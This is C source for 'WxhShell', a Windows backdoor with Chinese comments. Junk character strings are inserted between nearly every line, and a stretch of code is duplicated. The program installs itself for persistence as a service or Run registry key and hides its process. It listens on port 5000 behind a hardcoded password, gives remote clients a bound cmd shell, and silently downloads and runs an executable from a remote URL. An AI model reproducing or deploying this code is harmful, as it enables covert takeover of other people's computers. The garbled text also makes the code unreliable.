>7s ULONG InheritedFromUniqueProcessId; T=>vh*J } PROCESS_BASIC_INFORMATION; tJAnuhX hVkO%]? PROCNTQSIP NtQueryInformationProcess; >9MS"t {pC\\} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?^. Pt static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5x2L(l-2 onib x^Fcd HANDLE hProcess; bJPJ.+G7 PROCESS_BASIC_INFORMATION pbi; F)7j@h^ &//2eL HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {m'AY) if(NULL == hInst ) return 0; E>"8/ e,"FnW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~?d>fR:X g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MO TE/JG NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {!r#f(?uT QvJZkGX if (!NtQueryInformationProcess) return 0; )(]Envb?A0 ntZ~m hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TaWaHf if(!hProcess) return 0; Mt=R*M}D0 }jiK3?e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (kY@7)d'e j76%UG\Ga CloseHandle(hProcess); djGs~H>;U_ e[8UH =`| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7f
r>ZY^ if(hProcess==NULL) return 0; o} {-j
1]Lh'.1^ HMODULE hMod; &(7$&Q char procName[255]; Why"G1` unsigned long cbNeeded; \447]<u sG1BNb_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N%u abSq2*5K CloseHandle(hProcess); ^vaL8+ gyFr"9';c if(strstr(procName,"services")) return 1; // 以服务启动 !5~k:1= tah}^ return 0; // 注册表启动 4 4`WYK l } ?0) @jc= ,J&9kYz // 主模块 In+^V([u+_ int StartWxhshell(LPSTR lpCmdLine) WUY,. 8 { s~Gw SOCKET wsl; IM]h*YV' BOOL val=TRUE; Bq{]Eh0% int port=0; ~1ps7[ struct sockaddr_in door; ,Z5Fea x?=B\8m if(wscfg.ws_autoins) Install(); y!hi"! -=sf}4A port=atoi(lpCmdLine); OfJd/D O4!9{ if(port<=0) port=wscfg.ws_port; oLw|uU-| I*(1.%:m WSADATA data; Khap9a_q- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A_i zSzC1 5zVQ;;9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5W{hH\E _5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 67?n-NP door.sin_family = AF_INET; B%mtp;) P door.sin_addr.s_addr = inet_addr("127.0.0.1"); b}}y=zO|$ door.sin_port = htons(port); Ih3$ :cdQ(O.m if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wonYm27f closesocket(wsl); :G0+;[?N return 1; N3Z@cp } ]LVnt-q U3+A MVnB if(listen(wsl,2) == INVALID_SOCKET) { -$9~xX closesocket(wsl); SBz/VQ return 1; %Co
b(C&} } gwJ}]Tf Wxhshell(wsl); C/ WSACleanup(); +dM.-wW O{nC^`X return 0; >Zo-wYG p7$3`t6u } F:_FjxU F^]aC98]1 // 以NT服务方式启动 L&QtHSzy VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i(P>Y2s { #<UuI9 DWORD status = 0; V_lGj DWORD specificError = 0xfffffff; NN11}E6 %UBPoq serviceStatus.dwServiceType = SERVICE_WIN32; J+iX,X serviceStatus.dwCurrentState = SERVICE_START_PENDING; hwp/jO:7\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f}%sO serviceStatus.dwWin32ExitCode = 0; /3s@6Ex}E serviceStatus.dwServiceSpecificExitCode = 0; QY=QQG serviceStatus.dwCheckPoint = 0; `BpCRKTG serviceStatus.dwWaitHint = 0; "raj>2@ HwM/}-t hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =/m}rcDN if (hServiceStatusHandle==0) return; GajI\_o t:disL&!E status = GetLastError(); "~Us#4> if (status!=NO_ERROR) CM"s9E8y { 9c%(]Rn: serviceStatus.dwCurrentState = SERVICE_STOPPED; kHZKj!!R serviceStatus.dwCheckPoint = 0; F;
0Dp
serviceStatus.dwWaitHint = 0; q4 $sc_0i serviceStatus.dwWin32ExitCode = status; bu;vpNa serviceStatus.dwServiceSpecificExitCode = specificError; vRxL&8`& SetServiceStatus(hServiceStatusHandle, &serviceStatus); S;BP`g<l= return; f}A^]6MO: } *x5o=)Y fq{I$syY serviceStatus.dwCurrentState = SERVICE_RUNNING; wAPO{3 serviceStatus.dwCheckPoint = 0; [&fWF~D-p< serviceStatus.dwWaitHint = 0; $*g{[&L|6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qve`k<Cj" } ayHn_ /oB K&r[( // 处理NT服务事件,比如:启动、停止 2 e) VOID WINAPI NTServiceHandler(DWORD fdwControl) WtMcI>4w { VB}P Ng switch(fdwControl) g}^4^88=a { MV7} case SERVICE_CONTROL_STOP: l8eT{!4 serviceStatus.dwWin32ExitCode = 0; 3huzz<n3 serviceStatus.dwCurrentState = SERVICE_STOPPED; >Y44{D\` serviceStatus.dwCheckPoint = 0; @b4b{d5[ serviceStatus.dwWaitHint = 0; Tm0?[[3hC { m21QN9(i% SetServiceStatus(hServiceStatusHandle, &serviceStatus); zjzqKdy}F } 1i ?gvzrq return; }6F_2S3c case SERVICE_CONTROL_PAUSE: G;87in ,} serviceStatus.dwCurrentState = SERVICE_PAUSED; }x>}:"P;W break; +*WUH513 case SERVICE_CONTROL_CONTINUE: (8+.#1!* serviceStatus.dwCurrentState = SERVICE_RUNNING;
zgZi break; 3XM Bu* case SERVICE_CONTROL_INTERROGATE: Ov F8&*A break; Z1E`I89< }; Q5T(;u6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); [J(@$Qix } BHIZHp ufHuI* // 标准应用程序主函数 UXXqE4x int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ";%e~
= { mg/C Ux 7R%
PVgS4x // 获取操作系统版本 v)X[gt
tf OsIsNt=GetOsVer(); $fq-wl-= GetModuleFileName(NULL,ExeFile,MAX_PATH); h Kp,4D>2_ {m1t~ S // 从命令行安装 v]UU&Jq8U if(strpbrk(lpCmdLine,"iI")) Install(); TPN:cA6[c TZvBcNi // 下载执行文件 A=\'r<: if(wscfg.ws_downexe) { VuYWb)@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4DG 9`5. WinExec(wscfg.ws_filenam,SW_HIDE); 0%(4G83gw } 3M`hn4)K ==r? if(!OsIsNt) { q329z> // 如果时win9x,隐藏进程并且设置为注册表启动 ;@=@N9qK HideProc(); ,Yiq$Z{qQ StartWxhshell(lpCmdLine); giA~+m~fN } ,_e/a else S]#=ES'^/ if(StartFromService()) ~ ]m@k'n // 以服务方式启动 q_%w
l5\F StartServiceCtrlDispatcher(DispatchTable); ~0Q\Lp); else *R9mgv[ // 普通方式启动 uj+.L6S StartWxhshell(lpCmdLine); 9phD5b~j *;ZW=%M return 0; *cb
D&R\ } pE YrmC _Oaso > z?IY3]v*z< p0:&7,+a, =========================================== hoSU`X o+6^|RP l yLK$B?/
@zq\z$ I_Mqh4]; OA8b_k~ " 5G42vTDzS4 <|>:UGAR #include <stdio.h> r)Mx.`d! #include <string.h> L{o >D" #include <windows.h> #/
gme #include <winsock2.h> ;MdK3c #include <winsvc.h> F6neG~Y #include <urlmon.h> j{Qbzczy, )eedfb1 #pragma comment (lib, "Ws2_32.lib") Kw5+4R(5 #pragma comment (lib, "urlmon.lib") Z({`9+/>u 80l3.z,: #define MAX_USER 100 // 最大客户端连接数 [7Kj$PB3 #define BUF_SOCK 200 // sock buffer '=G<)z@k #define KEY_BUFF 255 // 输入 buffer 3\U,Kg uvK%d\d #define REBOOT 0 // 重启 YQ[&h #define SHUTDOWN 1 // 关机 ]6c2[r?g{ AQBx
k[ #define DEF_PORT 5000 // 监听端口 jJ{
w -$ iJp!ROI #define REG_LEN 16 // 注册表键长度 MdTd$ 4J3 #define SVC_LEN 80 // NT服务名长度 f+W[]KK*PW /-<m(72wF // 从dll定义API Pt)}HF|u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4>ce,*B1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3E2.v5* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zo638*32 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %cjGeS6} BKlc{= // wxhshell配置信息 5t1DB'K9$_ struct WSCFG { ^} pREe c= int ws_port; // 监听端口 L5N{ie_ char ws_passstr[REG_LEN]; // 口令 W&re;?Z{ke int ws_autoins; // 安装标记, 1=yes 0=no q-)_Qco char ws_regname[REG_LEN]; // 注册表键名 ';L^mxh char ws_svcname[REG_LEN]; // 服务名 j!8+|eAkk char ws_svcdisp[SVC_LEN]; // 服务显示名 ?~y(--.t;T char ws_svcdesc[SVC_LEN]; // 服务描述信息 kAF}*&Kzd~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,8 NEnB int ws_downexe; // 下载执行标记, 1=yes 0=no 1R~WY'Ed char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B+H9c~3$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U&\{/l .nY6[2am }; ob5nk^y 7;-i_&vws // default Wxhshell configuration %_=R&m'n` struct WSCFG wscfg={DEF_PORT, 8}E(UsTa "xuhuanlingzhe", &``oZvuB 1, N'BctKL "Wxhshell", Y/I6.K3 "Wxhshell", "}aM*(l+\ "WxhShell Service", z7pXpy \ "Wrsky Windows CmdShell Service", KcF+!;: "Please Input Your Password: ", '9Odw@tp 1, Qi]Z)v{^ "http://www.wrsky.com/wxhshell.exe", 8t
\> "Wxhshell.exe" X35U!1Y\ }; ,ST.pu8N. ]@}BdMlHp // 消息定义模块 _Vf|F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wupD char *msg_ws_prompt="\n\r? for help\n\r#>"; u`2k6.- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i1Sc/ char *msg_ws_ext="\n\rExit."; \k-juF80 char *msg_ws_end="\n\rQuit."; To?
bp4 char *msg_ws_boot="\n\rReboot..."; Ui;s.f char *msg_ws_poff="\n\rShutdown..."; ^TuEp$Z= char *msg_ws_down="\n\rSave to "; yzl\{I& F76h char *msg_ws_err="\n\rErr!"; &V{,D))6[ char *msg_ws_ok="\n\rOK!"; <5vB{)Tq GlD'?Mk1 char ExeFile[MAX_PATH]; M.^A` int nUser = 0; ~y^lNgujO HANDLE handles[MAX_USER]; ?O
Nw*"9 int OsIsNt; Dx)XC?'xO 5FKd{V' SERVICE_STATUS serviceStatus; ZU'^%)6~o~ SERVICE_STATUS_HANDLE hServiceStatusHandle; eakIK+-21y ,X6j$YLWp // 函数声明 bj{f[nZ d int Install(void); ,lM2BXz% int Uninstall(void); rL"k-5>fd int DownloadFile(char *sURL, SOCKET wsh); _oVA0@#n int Boot(int flag); i_ T dI void HideProc(void); T^G<)IX`c int GetOsVer(void); @!O{>` int Wxhshell(SOCKET wsl); S6X<3L`FfH void TalkWithClient(void *cs); 7E)7sd int CmdShell(SOCKET sock); PaJwM%s)L int StartFromService(void); [
Ulo; #P int StartWxhshell(LPSTR lpCmdLine); P9wDTZ
:4 HE'8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6LQ O>k VOID WINAPI NTServiceHandler( DWORD fdwControl ); @'4D9A <Rt@z|Zv // 数据结构和表定义 XePBA
J SERVICE_TABLE_ENTRY DispatchTable[] = rM |RGe { 6<nO2 GW {wscfg.ws_svcname, NTServiceMain}, ir#^5e@ {NULL, NULL} ZW%`G@d"H- }; u;}B4Rx J< M;vB) // 自我安装 czRh.kz, int Install(void) h]P$L> { &N ;6G`3 char svExeFile[MAX_PATH]; |pY0IqO HKEY key; l si8?91 strcpy(svExeFile,ExeFile); &r%3)Z8Et V|7CYkB8 // 如果是win9x系统,修改注册表设为自启动 [NcOk, if(!OsIsNt) { KW<CU' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :g";p.~= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sA.yb,Fw RegCloseKey(key); %}:J
9vra if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +dv@N3GV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'h6RZKG T RegCloseKey(key); h6t>yC\ return 0; a06DeRCej } vxx3^;4p } Xv:IbM>
Qc } *93 N0m4Rl else { nj$K4_ T-TH.
R // 如果是NT以上系统,安装为系统服务 %Z4=3?5B"9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GZo4uwG@a if (schSCManager!=0) ,}0pK\Y>$ { gP@ni$n SC_HANDLE schService = CreateService 9h{G1XL ( 7F4]EA^ schSCManager, *gn*S3Is[j wscfg.ws_svcname, X'm2uOEj wscfg.ws_svcdisp, e+[J9;g SERVICE_ALL_ACCESS, -E7\.K3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1F|+4 SERVICE_AUTO_START, %Y TIS*+0 SERVICE_ERROR_NORMAL, <4g^c& svExeFile, 4SYN$?.Mp NULL, %`'VXR?`h= NULL, W#!\.m`5 NULL, cx|j
_5%i NULL, $u :=lA:N NULL kokkZd7! ); jYkx]J%S if (schService!=0) D }\`5L< { jo^*R'} CloseServiceHandle(schService); QVpZA, CloseServiceHandle(schSCManager);
CvN~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t>xV]W< strcat(svExeFile,wscfg.ws_svcname); w9%gaK; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DKZ69^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CS/-:>s% RegCloseKey(key); m_B5M0}, return 0; O,cx9N } J{y@ O } #d~"bn q;c CloseServiceHandle(schSCManager); S%@$J~\rx } RY'y%6Z]ZO } pqe**`z@y X'c5s~9 return 1; &a`-NRU# }
v>XE]c_ r!#3>F;B // 自我卸载 Vr*t~M> int Uninstall(void) Cv| :.y
{ vzw\f HKEY key; J: LSGj;R ^6*? a9jO> if(!OsIsNt) { 4M_83WL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R/#*~tPi8 RegDeleteValue(key,wscfg.ws_regname); DB0xIP~i,? RegCloseKey(key); J0#% *B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Z_.Jdu w RegDeleteValue(key,wscfg.ws_regname); N(9'U0z RegCloseKey(key); 9hv\%_>o return 0; *=v
RX!sI, } R8 m/Nt2 } `#R$ } O!g>
f else { 1Jahu!c? P
,i)A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BjH(E'K[b if (schSCManager!=0) DbcKKgPn(9 { Rww KPE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {\V)bizY; if (schService!=0) C.@zVt { ,Xn%-OT if(DeleteService(schService)!=0) { 982$d<0% CloseServiceHandle(schService); VY F4q9 CloseServiceHandle(schSCManager); ~ e"^-x return 0; -X=f+4j } ;02lmpBj CloseServiceHandle(schService); @ +7'0[y? } F kWJB> CloseServiceHandle(schSCManager); &EQov9P7 } 65AOFH } a%AU9?/q# v}!,4,]:& return 1; PH]q#/' } %:??QD* :>,d$f^tqE // 从指定url下载文件 6wF?FtT int DownloadFile(char *sURL, SOCKET wsh) Ki' EO$ { K9*K4'#R HRESULT hr; S&VN</p char seps[]= "/"; snyx$Qx( char *token; 7DI8r| ~ char *file; ZFRKh:| char myURL[MAX_PATH]; _
pJU~8 char myFILE[MAX_PATH]; 8^^al!0K~ ^)SvH strcpy(myURL,sURL); |BXq8Erh token=strtok(myURL,seps); {ng while(token!=NULL) R ~cc]kp0 { 6s Pd")%G file=token; )ow 3Bl8w token=strtok(NULL,seps); |sI^_RdBv } 2/;KZ+U& `xtN+y F GetCurrentDirectory(MAX_PATH,myFILE); Oe5aNo strcat(myFILE, "\\"); :dK%=j*ZK strcat(myFILE, file); ue`F| send(wsh,myFILE,strlen(myFILE),0); wo*/{KFvh send(wsh,"...",3,0); 6Fm.^9@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ztTpMj if(hr==S_OK) P[Qr[74) return 0; !Zs;m`j&9 else onjTuZ^h return 1; H(0d(c1s <
*XC`Ii } ^m5{:\
Xk &AoWT:Ea // 系统电源模块 v+\E%H int Boot(int flag) mX<D]Z< k { ?"L>jr( HANDLE hToken; ok7DI TOKEN_PRIVILEGES tkp; x[)S3UJ VB[R!S= if(OsIsNt) { 2[WQq)\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <H$ CCo LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jSddjs tkp.PrivilegeCount = 1; KYlWV<sR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YGxdYwBwf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EmLPq!C if(flag==REBOOT) { <,LeFy\zW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^tpy8TQ return 0; bjR&bIA: } ^6Xi o6W else { Ron^PvvY& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N'^ 0:zK: return 0; 1Ce:<.99B } >(\[ $ } S46[2-v1 else { 0wOgQ n if(flag==REBOOT) { bf}r8$, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A]R"C:o return 0; 4E"qpy \( } |Q7Ch]G else { $bMeL7CN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A@`C<O ^ return 0; +[*UC" } $-o 39A# } 8_KXli}7= Jq.26I= return 1; /AWHG._ } ^up*KQ3u\ @UvjJ // win9x进程隐藏模块 gAR];(* void HideProc(void) rPQ$e!m1Ee { <KJ18/ ]ImS@!Ajjx HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !lHsJ)t if ( hKernel != NULL ) TzPVO>s { dedi6Brl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m
81\cg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 76c}Rk^ FreeLibrary(hKernel); {\ .2h } /oWB7l& Q>||HtF$A return; M?]ObIM:5 } 6Q\n<&,{ ~-.q<8
// 获取操作系统版本 #`?uV)( int GetOsVer(void) rNI3_|a { n NAJ8z}Nt OSVERSIONINFO winfo; #He:p$43 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iPE-j#| GetVersionEx(&winfo); =#1/<q)L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k ^+h>B-; return 1; CVu'uyy else bZa?h.IF return 0;
E?%k } ;m;wSp SU x\qz) // 客户端句柄模块 .o
fYFK int Wxhshell(SOCKET wsl) d{DlW
|_ { b}[{' SOCKET wsh; .i`+} @iA struct sockaddr_in client; W;j*lII DWORD myID; t+66kB N `SOaQ|H
while(nUser<MAX_USER) [?;oiEe.| { YMz[je int nSize=sizeof(client); G.c s-f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &
yw-y4 = if(wsh==INVALID_SOCKET) return 1; ~|?2<g$gYR _pk=IHGsB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8vnU!r if(handles[nUser]==0) y:pypuwt; closesocket(wsh); 5MiWM2"X\ else w/Ia`Tx$ nUser++; R:OoQ^c } im*XS@Uj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NW^}u~-f <o
p !dS return 0; hZ$* sf } l1!i3m'x oSE'-8( // 关闭 socket .bew,92 void CloseIt(SOCKET wsh) *FOTq'%i { 5E~][. d closesocket(wsh); NcqE)"yObo nUser--; vO
<;Gnh~ ExitThread(0); ?c(f6p?% } "PnYa)?1 b>;5#OQfn // 客户端请求句柄 LvE|K&R| void TalkWithClient(void *cs) i Ri1E; { Jd/5Kx Zni8im,_j SOCKET wsh=(SOCKET)cs; 0p&:9|'z char pwd[SVC_LEN]; -.:1nI char cmd[KEY_BUFF]; >>K)
4HYID char chr[1]; |+ @ int i,j; awo=%vJ& l{Xsh;%= while (nUser < MAX_USER) { hnH:G`[F V?%>Ex$ if(wscfg.ws_passstr) { O^|,Cbon6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >P+V!-%# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B.|2w //ZeroMemory(pwd,KEY_BUFF); YIt:_][* i=0; dzggl( while(i<SVC_LEN) { pLrNYo*d gXs@FhR0 // 设置超时 E70 fd_set FdRead;
9JP{F struct timeval TimeOut; G2rxr FD_ZERO(&FdRead); ,tmo6D6 2 FD_SET(wsh,&FdRead); TkmN.@w_C TimeOut.tv_sec=8; Y"G$^3% (] TimeOut.tv_usec=0; U#@:"v| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H~@aT7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \ssuO 6R dfF$f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ';zLh pwd=chr[0]; E=HS'XKu[K if(chr[0]==0xd || chr[0]==0xa) { vqv(KsD+:: pwd=0; Mp"] = break; goWD~'\ } nr-VzF7zu i++; dax|4R } OjyS
?YY)b Sg')w1 // 如果是非法用户,关闭 socket |LiFX5!\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7u o4F=% } 7s>d/F3* W >;AMun send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2|w(d send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T|ZT&x$z iTqv= while(1) { (#\3XBG /.7x[Yc ZeroMemory(cmd,KEY_BUFF); efZdtrKgy 6L'cD1pu // 自动支持客户端 telnet标准 sfa T`q j=0; ,&z_ 2m while(j<KEY_BUFF) { qt/"$6]% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~'v^__8 cmd[j]=chr[0]; \`|,wLgH if(chr[0]==0xa || chr[0]==0xd) { \#G`$JD cmd[j]=0; ft:/-$&H break; C
Hyb{:< } hFylQfd j++; YPGn8A } {hZZU8* Eu1s // 下载文件 BYNOgB1 if(strstr(cmd,"http://")) { >d#B149 send(wsh,msg_ws_down,strlen(msg_ws_down),0); &'T7 ~M: if(DownloadFile(cmd,wsh)) LOR$d^l send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<-kS else :%!=Ej.J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :m@(S6T m } %+>I1G else { {3
zq.e{ 7QQ1oPV switch(cmd[0]) { %w'@:~0 /of,4aaK7 // 帮助 "4n_MV>p case '?': { \HTXl] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L{<E'#@F break; 3u+~!yz } b`18y cVME // 安装 c_HYB/' case 'i': { Ler9~}\D if(Install()) O_KL#xo send(wsh,msg_ws_err,strlen(msg_ws_err),0); !oM1 else 7NoB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *hFT,1WE=+ break; A3M)yW q } 7tit>dJ // 卸载 j.AAY?L case 'r': { "d%":F( if(Uninstall()) m:X;dcq'3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Je{;1 else MLId3#Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OC"W=[Myl break; >|uZIcs 6 } s.Yyw y // 显示 wxhshell 所在路径 XZIj' a0d case 'p': { ^ 8egn| char svExeFile[MAX_PATH]; (MwB%g strcpy(svExeFile,"\n\r"); A5Y z| strcat(svExeFile,ExeFile); *jf
(TIU send(wsh,svExeFile,strlen(svExeFile),0); #Z (B4YO break; DkQy. } 95?$O~I // 重启 LUw0MW(Moi case 'b': {
4K)P Yk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?w /tq! if(Boot(REBOOT)) 60^dzi!vs send(wsh,msg_ws_err,strlen(msg_ws_err),0); VT;$:>!+ else { W}a&L closesocket(wsh); v7xc01x ExitThread(0); C+*: lLY } %k5^n0|* break; d,+d8X } ~Ci|G3BW // 关机 1Cp5a2{ case 'd': { l*b3Mg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f{k2sU*uBE if(Boot(SHUTDOWN)) fh}\#WE" send(wsh,msg_ws_err,strlen(msg_ws_err),0); }(20MW8rMc else { !NjC+ps] closesocket(wsh); 9q;+ Al^Z ExitThread(0); "P"~/<:) } >/ W:*^g) break; gKn"e|A } JX`+b // 获取shell cZ%weQa#N) case 's': { |jO&qT]{ CmdShell(wsh); ]rXRon=' closesocket(wsh); kImS'i{A ExitThread(0); *|a_(bQ4@ break; :TX!lbCq } Xr6UN{_- // 退出 YRAWylm case 'x': { NuLQkf) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b jZcWYT CloseIt(wsh); >N{K)a break; bAGQ } 11Pm lzy // 离开 9JJ(KY case 'q': { jf~/x>Q send(wsh,msg_ws_end,strlen(msg_ws_end),0); =K-B
I closesocket(wsh); *'1qA0Xc WSACleanup(); Qt+ K,LY exit(1); Gt2NUGU break; }{ J<Wzw } CES^
c-. k } v<HhB.t. } Wg3y
y8vIW #\GWYWkR // 提示信息 ggzg,~V if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $*\[I{Zau} } Gp6|M2Vu_5 } Q]uxZ;}aF N3!x7J7A return; pGc_Klq } am]$`7R5d >MauuL,.j // shell模块句柄 2$V]XSe int CmdShell(SOCKET sock) T&H[JQ/h { Nv{r`J. STARTUPINFO si; ogtKj"a ZeroMemory(&si,sizeof(si)); 4. 7m* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +ng8!k si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WV]Si2pOZ PROCESS_INFORMATION ProcessInfo;
:,h47'0A char cmdline[]="cmd"; ps\A\aggML CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vUk <z* return 0; WZOi, } .z^ePZ|mV @T0F }(k // 自身启动模式 U3}r.9/ int StartFromService(void) O(2)A>} { OlL
FuVR typedef struct <5%x3e"7u { 66NJ&ac DWORD ExitStatus; {dM18; DWORD PebBaseAddress; =;#+8w=^ DWORD AffinityMask; b) "bX} DWORD BasePriority; Uo>pV9xRG ULONG UniqueProcessId; 6 9_etv ULONG InheritedFromUniqueProcessId; 9lbe[w@
} PROCESS_BASIC_INFORMATION; A>8"8=C (RW02%`jjy PROCNTQSIP NtQueryInformationProcess; _Q_"_*e !ba /]A/ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |75>8; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u/-ul KAVe~j" HANDLE hProcess; ZV=O oLt, PROCESS_BASIC_INFORMATION pbi; r`Y[XzT9 e"Kg/*Ji1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wqEO+7)S if(NULL == hInst ) return 0; E&ou(Q={ IhoV80b g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8@pY:AY g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \wwY?lOe NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hfw$820y[ }i0(^"SoXZ if (!NtQueryInformationProcess) return 0; }q7rR:g " |ZC2Zu< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fn(<
